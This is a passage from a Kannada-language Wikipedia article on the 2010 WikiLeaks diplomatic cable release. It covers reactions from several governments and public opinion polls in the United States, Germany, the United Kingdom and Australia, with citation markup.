ಪ್ರಧಾನಮಂತ್ರಿಯನ್ನು ಆಪಾದಿಸುವ ಮೂಲಕ ಇವರು ಎರಡು ದಿನಗಳ ಬಳಿಕ ತಮ್ಮ ಪ್ರತಿಕ್ರಿಯೆ ನೀಡಿದರು. ಆದರೂ, 2010 ದಶಂಬರ್ 8 ರಂದು, ಯು ಎಸ್‌ ಡಿಪ್ಲೊಮಾಟಿಕ್ ಕೇಬಲ್‌ನ್ನು ಬಹಿರಂಗಪಡಿಸಿದ ನಂತರ, ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ರಾಜಾಕೀಯ ದುರೀಣರು ಇವನನ್ನು "ನಿಯಂತ್ರಣ ಮನೋವಿಕಾರ" ಎಂದು ಕರೆದ ಅನಂತರದಲ್ಲಿ ಹಿಂದಿನ ಆಸ್ಟ್ರೇಲಿಯಾದ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳು ಮತ್ತು ಈಗಿನ ವಿದೇಶಾಂಗ ಸಚಿವರಾದ ಕೆವಿನ್ ರುಡ್ಡ್ ಹೇಳಿದಂತೆ, ಯುಎಸ್ ರಹಸ್ಯ ಕೇಬಲ್‌ಗಳ ಸೋರಿಕೆಯು ಯುಎಸ್‌ನ ಭದ್ರತಾ ವ್ಯವಸ್ಥೆಯ ಬಗ್ಗೆ ಹಲವಾರು ಪ್ರಶ್ನೆಗಳನ್ನು ಎತ್ತಿವೆ. "ಸಮಗ್ರ ಜವಾಬ್ಧಾರಿ ಮತ್ತು ಅದ್ದರಿಂದ ಅಧಿಕೃತ ಹೊಣೆಗಾರಿಕೆಯು ಮೊದಲ ಅನಧಿಕೃತ ಬಿಡುಗಡೆಯನ್ನು ಮಾಡಿದ ಆ ವ್ಯಕ್ತಿಗಳಿಗೆ ಸಲ್ಲಬೇಕು" ಎಂದು ರುಡ್ಡ್ ಹೇಳಿದರು.<ref>{{cite web |url=http://www.bbc.co.uk/news/world-asia-pacific-11945558|title=Wikileaks: Australia FM blames US, not Julian Assange|date=8 December 2010|publisher=BBC |accessdate=8 December 2010}}</ref><ref>{{cite web|url=http://us.mobile.reuters.com/article/topNews/idUSTRE6B713420101208|title=Australia says U.S, not WikiLeaks founder, responsible for leaks|date=8 December 2010|publisher=Reuters|accessdate=8 December 2010|archive-date=15 ಜುಲೈ 2011|archive-url=https://web.archive.org/web/20110715175310/http://us.mobile.reuters.com/article/topNews/idUSTRE6B713420101208|url-status=dead}}</ref> "ದಿ ಆಸ್ಟ್ರೇಲಿಯನ್" ಎಂಬ ಲೇಖನದಲ್ಲಿ ಅಸ್ಸಾಂಜ್ "ಆಸ್ಟ್ರೇಲಿಯಾದ ಪ್ರಧಾನ ವಕೀಲರು ಆಸ್ಟ್ರೇಲಿಯಾದ ನಾಗರಿಕರನ್ನು ವ್ಯವಸ್ಥೆಗೊಳಿಸುವುದನ್ನು ಮತ್ತು ಅವರನ್ನು ಯುಎಸ್‌ಗೆ ವರ್ಗಾಯಿಸಲು ನೀಡಿದ ನಿರ್ಧಿಷ್ಟ ಸೂಚನೆಗಳ ತನಿಖೆಯನ್ನು ಮಾಡಲು ಯುಎಸ್‌ಗೆ ತಾವು ಮಾಡಬಹುದಾದ ಎಲ್ಲಾ ಸಹಾಯಗಳನ್ನು ಮಾಡುತ್ತೇವೆ" ಎಂದು ಬೇಡಿಕೊಂಡರು.<ref>{{cite web |url=http://www.theaustralian.com.au/in-depth/wikileaks/dont-shoot-messenger-for-revealing-uncomfortable-truths/story-fn775xjq-1225967241332|title=Don&#039;t shoot messenger for revealing uncomfortable truths|date=8 December 2010|work=The Australian |accessdate=9 December 2010}}</ref> ಆದರೂ, ಆಸ್ಟ್ರೇಲಿಯಾದ ಅಧಿಕಾರಿಗಳು ನಂತರದಲ್ಲಿ ಅಸ್ಸಾಂಜ್ ಯಾವುದೇ ಅನಧಿಕೃತ ಕಾರ್ಯಗಳನ್ನೆಸಗಲಿಲ್ಲ ಎಂದು ಹೇಳಿದರು.<ref>{{cite web|author=Kelly, Joe |url=http://www.theaustralian.com.au/in-depth/wikileaks/law-not-broken-by-wikileaks-publication-of-us-cables-afp/story-fn775xjq-1225972735066 |title=Law not broken by WikiLeaks' publication of US cables: AFP |publisher=Theaustralian.com.au |date=17 December 2010 |accessdate=18 December 2010}}</ref> *{{Flag|France}}:ಫ್ರೆಂಚ್‌ನ ಉಧ್ಯಮ ಸಚಿವರಾದ ಎರಿಕ್ ಬೆಸ್ಸನ್ ಸಿಜಿಐಇಟಿ ತಂತ್ರಜ್ಞಾನ ಸಂಸ್ಥೆಗೆ ಬರೆದ ಪತ್ರದಲ್ಲಿ "ವಿಕಿಲೀಕ್ಸ್ ರಾಜತಾಂತ್ರಿಕ ಸಂಬಂಧಗಳನ್ನು ಉಲ್ಲಂಘಿಸುತ್ತವೆ ಮತ್ತು ರಾಜ ತಾಂತ್ರಿಕ ರಹಸ್ಯದಿಂದ ರಕ್ಷಿಸಲ್ಪಟ್ಟ ಜನರನ್ನು ಅಪಾಯ ತಂದೊದಗಿಸುತ್ತದೆ" ಎಂದು ಬರೆದಿದ್ದಾರೆ. ಆದುದರಿಂದ ಈ ವೆಬ್‌ಸೈಟ್ ಫ್ರಾನ್ಸ್‌ನಲ್ಲಿ ಸರ್ವರ್ ಆಧಾರಿತ ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಲ್ಪಟ್ಟು "ಅಸ್ವೀಕೃತ"ವಾಯಿತು. ಸಚಿವರು ವಿಕಿಲೀಕ್ಸ್‌ನ್ನು ಫ್ರಾನ್ಸ್‌ನಿಂದ ಹೊರಹಾಕಲು ಸೂಕ್ತ ಕ್ರಮ ಕೈಗೊಳ್ಳುವಂತೆ ಹೇಳಿದರು.<ref>{{cite web|url=http://www.businessweek.com/news/2010-12-03/wikileaks-flees-to-switzerland-as-u-s-france-options-narrow.html |title=WikiLeaks Flees to Switzerland as U.S., France Options Narrow |work=[[Bloomberg Businessweek]] |location=UK |date=3 December 2010 |accessdate=4 December 2010}}</ref> *{{Flag|Iran}}:ಇರಾನ್‌ನ ಅಧ್ಯಕ್ಷರಾದ [[ಮಹ್ಮೂದ್ ಅಹ್ಮದೀನೆಜಾದ್|ಮಹಮ್ಮದ್ ಅಹ್ಮದಿನೆಜಾದ್]] ಕೂಡಾ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ಡಿಪ್ಲೋಮಾಟಿಕ್ ಕೇಬಲ್‌ನ ಬಹಿರಂಗಪಡಿಸಿರುವುದಕ್ಕೆ ವಿಕಿಲೀಕ್ಸ್‌ನ್ನು ನಿಂದಿಸಿದರು. ವಿಕಿಲೀಕ್ಸ್ ಕೂಡಾ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಜೊತೆ ಒಳಸಂಚಿನಲ್ಲಿ ಕೈಜೋಡಿಸಿದೆ ಅಥವಾ ಕೇವಲ ಸಾಕ್ಷ್ಯಾಧಾರವಿಲ್ಲದೇ ತಾನು ಭಾಗವಹಿಸಿ ಈ ಕಾರ್ಯವನ್ನು ಸುಗಮಗೊಳಿಸಿತು ಎಂದು ಇವರು ಸೂಚಿಸದಿದ್ದರೂ ಕೇಬಲ್‌ಗಳ ಬಿಡುಗಡೆಯು ಇರಾನ್ ಮೇಲೆ ಅರಬ್ ರಾಷ್ಟ್ರಗಳಿಗಿರುವ ಆಸಕ್ತಿಯನ್ನು ಸೂಚಿಸುವಂತೆ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ ತನ್ನ ಸರಕಾರಕ್ಕೆ ಅಪಕೀರ್ತಿಯನ್ನು ತರುವುದಕ್ಕಾಗಿ ಯೋಜಿಸಿದ ಕಾರ್ಯವಾಗಿದೆ ಎಂದು ಅಹ್ಮದಿನೆಜಾದ್ ಪ್ರತಿಪಾದಿಸಿದರು.<ref>{{cite web|url=https://www.theguardian.com/world/2010/nov/29/wikileaks-claims-psychological-warfare-ahmadinejad |title=WikiLeaks claims are 'psychological warfare' says Ahmadinejad &#124; World news |work=The Guardian |location=UK |date=23 November 2010 |accessdate=1 December 2010}}</ref> *{{Flag|Philippines}}: ಅಧ್ಯಕ್ಷ ಮೂರನೇ ಬೆನಿಂಗೋ ಆಕ್ವಿನೋ ಇದು ಮಿತಿಮೀರಿದ ತಪ್ಪು-ಸಂಪರ್ಕವುಂಟಾಗುವ ಸನ್ನಿವೇಶಗಳನ್ನುಂಟುಮಾಡಬಹುದು ಎಂದು ಹೇಳುವ ಮೂಲಕ ವಿಕಿಲೀಕ್ಸ್ ಮತ್ತು ಸಂಬಂಧಿಸಿದ ರಾಷ್ಟ್ರಗಳ ಬಹಿರಂಗಗೊಂಡ ದಾಖಲೆಗಳನ್ನು ಖಂಡಿಸಿದರು.<ref>{{cite web|url=http://newsinfo.inquirer.net/breakingnews/nation/view/20101215-309121/Foreign-Office-slams-WikiLeaks|title=Foreign Office slams WikiLeaks|publisher=Philippine Daili Inquirer|accessdate=16 December 2010|date=15 December 2010|author=Jerry E. Esplanada|archive-date=19 ಡಿಸೆಂಬರ್ 2014|archive-url=https://web.archive.org/web/20141219010702/http://newsinfo.inquirer.net/breakingnews/nation/view/20101215-309121/Foreign-Office-slams-WikiLeaks|url-status=dead}}</ref> *{{Flag|United States}}:2010ರ ನವಂಬರ್‌ನಲ್ಲಿ ನಡೆದ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ಡಿಪ್ಲೋಮಾಟಿಕ್ ಕೇಬಲ್‌ನ ಬಹಿರಂಗಪಡಿಸುವಿಕೆಯ ಹಿಂದೆಯೇ, ಯು.ಎಸ್‌ನ ರಾಜ್ಯ ಕಾರ್ಯದರ್ಶಿಯಾದ ಹಿಲ್ಲರಿ ಕ್ಲಿಂಟನ್ ಈ ಸಮೂಹವನ್ನು ಉಗ್ರವಾಗಿ ಖಂಡಿಸಿದರು. ಈ ಬಹಿರಂಗಪಡಿಸುವಿಕೆಯು ಕೇವಲ ಅಮೇರಿಕಾದ ವಿದೇಶ ನೀತಿ ಆಸಕ್ತಿಗಳ ಮೇಲೆ ಮಾಡಿದ ಆಕ್ರಮಣವಷ್ಟೇ ಅಲ್ಲದೇ ಅಂತರ್ರಾಷ್ಟ್ರೀಯ ಸಮುದಾಯದ ಮೇಲೆ ನಡೆದ ಆಕ್ರಮಣವೂ ಆಗಿದೆ ಎಂದು ಉಗ್ರವಾಗಿ ಖಂಡಿಸಿದರು.<ref>{{cite web|author=|url=http://www.nypost.com/p/news/international/obama_administration_in_damage_control_JBSDPnEISQvcyu0ZfHx7XL#ixzz16kRfnGL0 |title=Secretary of State Hillary Clinton calls WikiLeaks documents 'an attack on the international community' |work=New York Post |date=|accessdate=1 December 2010}}</ref> ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಹೌಸ್ ಆಫ್ ರೆಪ್ರೆಸೆಂಟೇಟಿವ್ಸ್‌ನ ಹೋಮ್‌ಲ್ಯಾಂಡ್ ಸೆಕ್ಯುರಿಟಿ ಕಮ್ಮಿಟಿಯ ಮುಖ್ಯಸ್ಥರಾದ ಪೀಟರ್ ಕಿಂಗ್, ವಿಕಿಲೀಕ್ಸ್‌ನ್ನು ಒಂದು "ವಿದೇಶೀ ಭಯೋತ್ಪಾದಕ ಸಂಸ್ಥೆ" ಎಂಬ ಪಟ್ಟಿಯಲ್ಲಿ ಸೇರಿಸುವಲ್ಲಿ ತಮ್ಮ ಬೆಂಬಲವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದರು. ಅಲ್ಲದೆ ಇವರು "ವಿಕಿಲೀಕ್ಸ್ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ವ್ಯವಸ್ಥೆಯ ಮಹತ್ತರ ಅಪಾಯವೇ ಆಗಿದೆ" ಎಂದು ವಿವರಿಸಿದರು.<ref>{{cite news |title=Congressman wants WikiLeaks listed as terrorist group |author=Declan McCullagh |newspaper=CNet |date=28 November 2010 |url=http://news.cnet.com/8301-13578_3-20023941-38.html#ixzz16keYyAPb |accessdate=1 December 2010 |archive-date=9 ಫೆಬ್ರವರಿ 2014 |archive-url=https://web.archive.org/web/20140209120027/http://news.cnet.com/8301-13578_3-20023941-38.html#ixzz16keYyAPb |url-status=dead }}</ref> ವಿರುದ್ಧವಾದ ಹೇಳಿಕೆಯಾಗಿ, ಸಾಮಾನ್ಯ ರಾಜತಾಂತ್ರಿಕ ಚಟುವಟಿಕೆಗಳ ಮೇಲೆ ಅವು ಬೀರುವ ಬಾಧಕ ಪರಿಣಾಮಗಳಿಂದಾಗಿ, ರಕ್ಷಣಾ ಕಾರ್ಯದರ್ಶಿ ರಾಬರ್ಟ್ ಗೇಟ್ಸ್ ಈ ಬಹಿರಂಗಪಡಿಸುವಿಕೆಯ ಮೇಲಿನ ಆಸ್ಥೆಯು "ಅತಿ ಕಠಿಣವಾದುದು" ಎಂದು ನುಡಿದನು.<ref>{{cite news |title=Let Us Now Praise Wikileaks |author=Jonathan Weiler |newspaper=[[The Huffington Post]] |date=1 December 2010 |url=http://www.huffingtonpost.com/jonathan-weiler/let-us-now-praise-wikilea_b_790673.html |accessdate=1 December 2010}}</ref> ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ರಾಜ್ಯ ಸಾರ್ವಜನಿಕ ಹಿತಾಸಕ್ತಿಯ ಸಹಾಯಕ ಕಾರ್ಯದರ್ಶಿ ಫಿಲಿಪ್ ಜೆ ಕ್ರೌಲಿಯು 2010ರ ದಶಂಬರ ಎರಡರಂದು ಯುಎಸ್ ಇಲಾಖೆಯು ವಿಕಿಲೀಕ್ಸ್‌ನ್ನು ಮಾಧ್ಯಮ ಸಂಸ್ಥೆ ಎಂದು ಗುರುತಿಸುತ್ತಿಲ್ಲ ಎಂದು ಹೇಳಿದನು. "ವಿಕಿಲೀಕ್ಸ್ ಮಾಧ್ಯಮ ಸಂಸ್ಥೆಯಲ್ಲ. ಇದು ನಮ್ಮ ದೃಷ್ಟಿಕೋನ" ಎಂದು ಕ್ರೌಲಿ ಹೇಳಿದನು ಮತ್ತು ಅಸ್ಸಾಂಜ್ ಪ್ರಕಾರ, "ಒಳ್ಳೆಯದು, ಅವನ, "ಅವನನ್ನು ರಾಜಕೀಯ ನಟ ಎಂದು ಗುರುತಿಸಬಹುದು. ಅವನೊಬ್ಬ ಕ್ರಾಂತಿಕಾರಿಯೆಂದು ನನಗನಿಸುತ್ತದೆ. ಆದರೆ, ಅವನು ಪ್ರತಿಕೋಧ್ಯಮಿಯಲ್ಲ."<ref>{{cite web|last=Crowley|first=Philip J.|title=WikiLeaks|url=http://www.state.gov/r/pa/prs/dpb/2010/12/152291.htm|work=Daily Press Briefing |publisher=U.S. Department of State|accessdate=11 December 2010|date=2 December 2010}}</ref> <br>ವಿಕಿಲೀಕ್ಸ್‌ನ್ನು ಮುಚ್ಚಲು ಮೊತ್ತಮೊದಲು ಅಮೇಜಾನ್‌‌ಗೆ ಕರೆ ನೀಡಿದ ಯುಎಸ್ ಸೆನೇಟರ್ ಜೋ ಲೀಬರ್‌ಮೆನ್ ನಂತರದಲ್ಲಿ ಇದನ್ನು ಹೊಗಳಲಾರಂಭಿಸಿ ಈ ವ್ಯವಹಾರವನ್ನೇ ಮುಂದಿವರೆಸುವಂತೆ ಇತರ ಕಂಪನಿಯಗಳಲ್ಲಿ ಮನವಿ ಮಾಡಿಕೊಂಡನು.<ref name="guadec02" /> ಇಂತಹುದೇ ಘಟನೆಗಳನ್ನು ಗುರಿಯಾಗಿಸಿ ಮಾನವ ಬುದ್ಧಿವಂತಿಕೆಯನ್ನು ರಕ್ಷಿಸುವ ಮತ್ತು ಕಾನೂನುಬದ್ಧ ಪ್ರಸಾರ ಕಾಯ್ದೆಗಳಂತಹ ಹೊಸ ಶಾಸನಗಳನ್ನೂ ಸಹ ಮಂಡಿಸಿದನು. ಇದು ಶೀಲ್ಡ್ ಆಕ್ಟ್ ಎಂದೂ ಕರೆಯಲ್ಪಡುತ್ತಿತ್ತು.<ref name="agedec4" /><ref>{{cite web|last=Poulsen|first=Kevin|title=Lieberman Introduces Anti-WikiLeaks Legislation |url=https://www.wired.com/threatlevel/2010/12/shield|work=[[Wired.com]]|publisher=Condé Nast Digital|accessdate=11 December 2010|date=2 December 2010}}</ref> ಲೀಬರ್‌ಮ್ಯಾನ್ ನಂತರದಲ್ಲಿ ಯುಎಸ್‌ ರಾಯಭಾರದಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ನಿಂದ ಬಹಿರಂಗಗೊಂಡ ಕೇಬಲ್ ವಿಚಾರಗಳನ್ನು ಪ್ರಕಟಿಸುವ ''ನ್ಯೂಯಾರ್ಕ್ ಟೈಮ್ಸ್'' ಮತ್ತು ಇತರ ವಾರ್ತಾ ಸಂಸ್ಥೆಗಳು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ಗೂಢಚರ್ಯೆಯ ನಿಯಮಗಳನ್ನು ಉಲ್ಲಂಘಿಸಿದ ಬಗ್ಗೆ ವಿಚಾರಣೆಗೊಳಪಡಬೇಕಾಗಿದೆ ಎಂದೂ ನುಡಿದನು.<ref>{{cite news |title=WikiLeaks: US Senator Joe Lieberman suggests New York Times could be investigated |author=Paul Owen, Richard Adams and Ewen MacAskill |newspaper=[[The Guardian]] |date=7 December 2010 |url=https://www.theguardian.com/world/2010/dec/07/wikileaks-joe-lieberman-new-york-times-investigated |accessdate=8 December 2010}}</ref> ===ಸಾರ್ವಜನಿಕ ಅಭಿಪ್ರಾಯ=== *{{Flag|United States}}: ದಶಂಬರ 2010ರಲ್ಲಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಸಂಗ್ರಹಿಸಲು ಮಾರಿಸ್ಟ್ ಇನ್‌ಸ್ಟಿಟ್ಯೂಟ್‌‍ನಿಂದ ನಡೆಸಲ್ಪಟ್ಟ 18 ವರ್ಷ ಮತ್ತು ಅದಕ್ಕಿಂತ ಮೇಲ್ಪಟ್ಟ 1,029 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಪ್ರಜೆಗಳ ಮೇಲೆ ನಡೆದ ದೂರವಾಣಿ ಸಮೀಕ್ಷೆಯ ಪ್ರಕಾರ, ವಿಶೇಷವಾಗಿ ಗಣತಂತ್ರವಾದಿಗಳು ಮತ್ತು ವಯಸ್ಕ ಜನರ ಸಹಿತ ಪ್ರತಿಕ್ರಿಯೆ ನೀಡಿದ ಅಮೇರಿಕದ 70% ಜನರು ಮಾಹಿತಿ ಸೋರಿಕೆಯು ಒಳ್ಳೆಯದನ್ನು ಮಾಡುವುದಕ್ಕಿಂತ ಹೆಚ್ಚಾಗಿ ಯುನೈಟೆಡ್ ‌ಸ್ಟೇಟ್ಸ್‌ ಸರಕಾರದ ಶತ್ರುಗಳು ಗೋಪ್ಯತೆ ಮತ್ತು ರಹಸ್ಯವಾದ ಮಾಹಿತಿಯನ್ನು ತಿಳಿಯುವಂತೆ ಮಾಡಿ ಯುಎಸ್‌ನ ವಿದೇಶಾಂಗ ತತ್ವಗಳಿಗೆ ಕೆಡುಕನ್ನುಂಟುಮಾಡುತ್ತದೆ ಎಂದು ಚಿಂತಿಸಿದ್ದಾರೆ. ಅಂದಾಜು ಸುಮಾರು 22% ಜನರು, ವಿಶೇಷವಾಗಿ ಯುವ ನಿಷ್ಪಕ್ಷಪಾತಿಗಳು ಬಹಿರಂಗಪಡಿಸುವಿಕೆಯು ಹಾನಿಯನ್ನುಂಟುಮಾಡುವುದಕ್ಕಿಂತ ಹೆಚ್ಚಾಗಿ ಯುಎಸ್ ಸರಕಾರದ ಪಾರದರ್ಶಕತೆಯನ್ನು ಹೆಚ್ಚುಗೊಳಿಸಿ ಜವಾಬ್ಧಾರಿಯುತವನ್ನಾಗಿ ಮಾಡುವುದರ ಮೂಲಕ ಒಳ್ಳೆಯದನ್ನೇ ಉಂಟುಮಾಡುತ್ತವೆ ಎಂದು ಅಭಿಪ್ರಾಯಪಟ್ಟಿದ್ದಾರೆ. 59%ದ ಬಹುಪಾಲು ಜನರು ಕೂಡಾ ವಿಕಿಲೀಕ್ಸ್‌‍ನ ಹಿಂದಿರುವ ಜನರನ್ನು ಅಪಾದನೆಗೊಳಪಡಿಸುವುದನ್ನು ನೋಡಲು ಬಯಸುತ್ತಾರಾದರೆ, 31% ಜನರು ರಹಸ್ಯಗಳ ಪ್ರಕಟಣೆಯು ಉಚಿತ ಮುದ್ರಣಾಲಯದ ಮೊದಲ ತಿದ್ದುಪಡಿಯ ಭರವಸೆಯಡಿ ರಕ್ಷಿಸಲ್ಪಟ್ಟಿದೆ ಎಂದು ಅಭಿಪ್ರಾಯವಡುತ್ತಾರೆ ಎಂಬುದು ತಿಳಿದುಬಂದಿದೆ.<ref>{{cite web |title=McClatchy-Marist Poll National Survey December 2010 |author= |publisher=[[Marist Institute for Public Opinion]] | pages=21–24 | format=PDF | date=10 December 2010 |url=http://maristpoll.marist.edu/wp-content/misc/usapolls/US101202/McClatchy/McClatchy_Marist%20Poll_National%20Survey_December%2010,%202010.pdf |accessdate=15 December 2010}}</ref> *{{Flag|Germany}}: ಜರ್ಮನಿಯ ಸಾರ್ವಜನಿಕ ಪ್ರಸಾರಕರಾದ ಎಆರ್‌ಡಿಗಾಗಿ ನವಂಬರ ತಿಂಗಳ ಅಂತ್ಯದಲ್ಲಿ ನಡೆಸಿದ 18 ವರ್ಷ ಮತ್ತು ಅದಕ್ಕಿಂತ ಮೇಲ್ಪಟ್ಟ 1,004 ಜರ್ಮನಿ ವಾಸಿಗಳ ಮೇಲೆ ನಡೆದ ದೂರವಾಣಿ ಸಮೀಕ್ಷೆಯ ಪ್ರಕಾರ 53 ಶೇಕಡಾದಷ್ಟು ಜನರಲ್ಲಿ ಬಹುಪಾಲು ಜನರು ವಿಕಿಲೀಕ್ಸ್‌ ಮೇಲೆ ತಮ್ಮ ಅಸಮ್ಮತಿಯನ್ನು ಸೂಚಿಸಿದರೆ, 43% ಜನರು ಈ ವೇಧಿಕೆಯ ಪರವಾದ ಅಭಿಪ್ರಾಯವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದರು. ಯುಎಸ್ ಡಿಪ್ಲೊಮಾಟಿಕ್ ಕೇಬಲ್‌ಗಳ ಬಿಡುಗಡೆಯ ಬಗ್ಗೆ ನಿರ್ಧಿಷ್ಟವಾಗಿ ಪ್ರಶ್ನಿಸಿದಾಗ ಹೆಚ್ಚಿನ ಮೂರನೇ ಎರಡರಷ್ಟು (65%) ಜನರು ಈ ದಾಖಲೆಗಳು ಪ್ರಕಟಗೊಳ್ಳಬಾರದಿತ್ತು ಎಂದು ನಂಬಿದ್ದರೆ, ಇದಕ್ಕೆ ಹೋಲಿಸಿದರೆ, 31% ಜನರು ಅವುಗಳು ಸಾರ್ವಜನಿಕರಿಗೆ ಬಿಡುಗಡೆ ಯಾಗಿರುವುದನ್ನು ಒಪ್ಪಿಕೊಂಡಿದ್ದಾರೆ.<ref>{{cite web |title=ARD Deutschland Trend |author= |publisher=[[Infratest dimap]] |pages=5–6 |format=PDF |date=December 2010 |url=http://www.infratest-dimap.de/uploads/media/dt1012_bericht.pdf |accessdate=23 December 2010 |archive-date=19 ಜುಲೈ 2011 |archive-url=https://web.archive.org/web/20110719043949/http://www.infratest-dimap.de/uploads/media/dt1012_bericht.pdf |url-status=dead }}</ref> *{{flag|United Kingdom}}: ದಶಂಬರ್ 2010ರಲ್ಲಿ 2,010 ಜನ ಬ್ರಿಟಿಷ್ ಪ್ರೌಢರ ಮೇಲೆ ನಡೆಸಿದ ಸಿಎನ್‌ಎನ್ ಮತಗಣನೆಯು ಕೇಬಲ್‌ಗಳನ್ನು ಬಹಿರಂಗಪಡಿಸುವಲ್ಲಿ ಸುಮಾರು 42% ರಿಂದ 33% ರವರೆಗಿನ ಎಲ್ಲಾ ಹಕ್ಕುಗಳು ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಇತ್ತು ಎಂಬುದನ್ನು ಒಪ್ಪಿಕೊಳ್ಳದವರ ಸಂಖ್ಯೆಗಿಂತ ಒಪ್ಪಿಕೊಂಡ ಜನರ ಸಂಖ್ಯೆಯೇ ಹೆಚ್ಚಾಗಿದೆ ಎಂಬುದನ್ನು ತೋರಿಸಿಕೊಟ್ಟಿತು. ಉಳಿದ 25% ಸ್ಥಾನವನ್ನು ಹೊಂದಿರಲಿಲ್ಲ. ಇದೇ ಮತಗಣನೆಯ ಪ್ರಕಾರ, ರಹಸ್ಯ ಡಿಪ್ಲೊಮ್ಯಾಟಿಕ್ ಕೇಬಲ್‌ಗಳನ್ನು ಬಹಿರಂಗಪಡಿಸಿರುವ ಕಾರಣಕ್ಕೆ ಅಸ್ಸಾಂಜ್‌ ಮೇಲೆ ಅಪಾದನೆ ಹೊರಿಸಬಾರದಿತ್ತು ಎಂದು 41% ಬ್ರಿಟಿಷರು ಭಾವಿಸಿದ್ದರೆ, 30% ಜನರು ಅವನ ಮೇಲೆ ಕಾನೂನುಕ್ರಮ ಕೈಗೊಳ್ಳುವುದನ್ನು ಬಯಸುತ್ತಾರೆ ಎಂದು ತಿಳಿದುಬಂದಿದೆ. ಪ್ರತಿಕ್ರಿಯೆ ನೀಡಿದ ಹೆಚ್ಚಿನ ಎಲ್ಲಾ ಜನರು (44%) ಕೂಡಾ ರಹಸ್ಯ ಡಿಪ್ಲೊಮ್ಯಾಟಿಕ್ ಕೇಬಲ್‌ಗಳನ್ನು ಬಹಿರಂಗಪಡಿಸಿರುವುದಕ್ಕೆ ಯುಎಸ್ ಸರಕಾರವು ಆಪಾದನೆಗೊಳಪಡಿಸಿ ಅವನನ್ನು ತನ್ನ ಸುಫರ್ದಿನಲ್ಲಿಟ್ಟುಕೊಳ್ಳುವಂತೆ ಮಾಡಲು ಅಸ್ಸಾಂಜ್ ವಿರುದ್ಧದ ಲೈಂಗಿಕ ಆಪಾದನೆಗಳು "ಒಂದು ಕ್ಷಮಾಪಣೆ" ಎಂದು ನಂಬಿದ್ದರೆ, ಉಳಿದ 13% ಜನರು ಇದನ್ನು ಒಪ್ಪಲಿಲ್ಲ. ಆದಾಗ್ಯೂ, ಅರ್ಧಕ್ಕಿಂತಲೂ ಹೆಚ್ಚಿನ ಎಲ್ಲಾ ಬ್ರಿಟಿಷರು ವಿಚಾರಣೆಗಾಗಿ ತಮ್ಮ ಸರಕಾರವು ಅಸ್ಸಾಂಜ್‌‌ನನ್ನು ಸ್ವೀಡನ್‌ಗೆ ಕಳುಹಿಸಬೇಕು ಎಂದು ಹೇಳಿದರು. ಪ್ರೌಢಜನರು ಗಮನಾರ್ಹವಾಗಿ ವಿಕಿಲೀಕ್ಸ್‌ನ್ನು ವಿರೋಧಿಸುವಂತೆ ಕಂಡುಬಂದರು. 65 ವರ್ಷ ಮತ್ತು ಅದಕ್ಕಿಂತ ಹೆಚ್ಚು ವರ್ಷ ಜನರ ಶೇಕಡಾ 42ರಷ್ಟು ಜನರು ರಹಸ್ಯ ಡಿಪ್ಲೊಮ್ಯಾಟಿಕ್ ಕೇಬಲ್‌ಗಳನ್ನು ಬಹಿರಂಗಪಡಿಸಿರುವುದಕ್ಕೆ ಅಪಾದನೆಗೊಳಪಡಬೇಕು ಎಂದು ಬಯಸಿದರೆ, ಈ ದೃಷ್ಟಿಕೋನವು j25ವರ್ಷ ಮತ್ತು 34 ವರ್ಷಗಳ ನಡುವಿನ ಜನರಲ್ಲಿ, ಕೇವಲ 21%ರಷ್ಟು ಜನರಲ್ಲಿ ಕಂಡುಬಂದಿದೆ.<ref>{{cite web |title=Poll: Almost half of Britons feel WikiLeaks sex charges are "excuse" |author=Michael Martinez |publisher=CNN | date=14 December 2010 |url=http://edition.cnn.com/2010/WORLD/europe/12/13/uk.poll.wikileaks/?hpt=Sbin |accessdate=23 December 2010}}</ref> *{{flag|Australia}}: ದಶಂಬರ್ 2010ರ ಯುಎಮ್‌ಆರ್ ಸಂಶೋಧನಾ ಮತಗಣನೆಯು ಬಹುಪಾಲು ಆಸ್ಟ್ರೇಲಿಯಾದ ಜನರು ವಿಕಿಲೀಕ್ಸ್‌ನಲ್ಲಿನ ಅಧಿಕೃತ ಸರಕಾರ ಸ್ಥಾನದ ವಿರುದ್ಧ ತಮ್ಮ ಅಭಿಮತವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದರು. 1000 ಜನರ ಮೇಲೆ ನಡೆಸಿದ ಶೋಧನೆಗಳು 59% ಜನರು ಕೇಬಲ್‌ಗಳನ್ನು ಬಹಿರಂಗಪಡಿಸಿರುವ ವಿಕಿಲೀಕ್ಸ್‌‍ನ ಕಾರ್ಯವನ್ನು ಬೆಂಬಲಿಸಿದರೆ ಉಳಿದ 25% ಜನರು ಇದನ್ನು ವಿರೋಧಿಸಿದರು. ಕೇಬಲ್‌ಗಳು ಮೊದಲು ಬಿಡುಗಡೆಯಾದ ನಂತರದ ಕೆಲವು ವಾರಗಳಲ್ಲಿ ಇದು ಪ್ರಶ್ನಿಸಲ್ಪಟ್ಟಿತು. ಧನಾತ್ಮಕ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಸೂಚಿಸುವ ಫಲಿತಾಂಶದೊಂದಿಗೆ ಜೂಲಿಯನ್ ಅಸ್ಸಾಂಜ್‌ಗೆ ಸಂಬಂಧಿಸಿದ ಘಟನೆಗಳ ಮೇಲೆಯೂ ಮತಗಣನೆಯು ಗಮನಹರಿಸಿತ್ತು.<ref>{{cite web |title= Strong support for 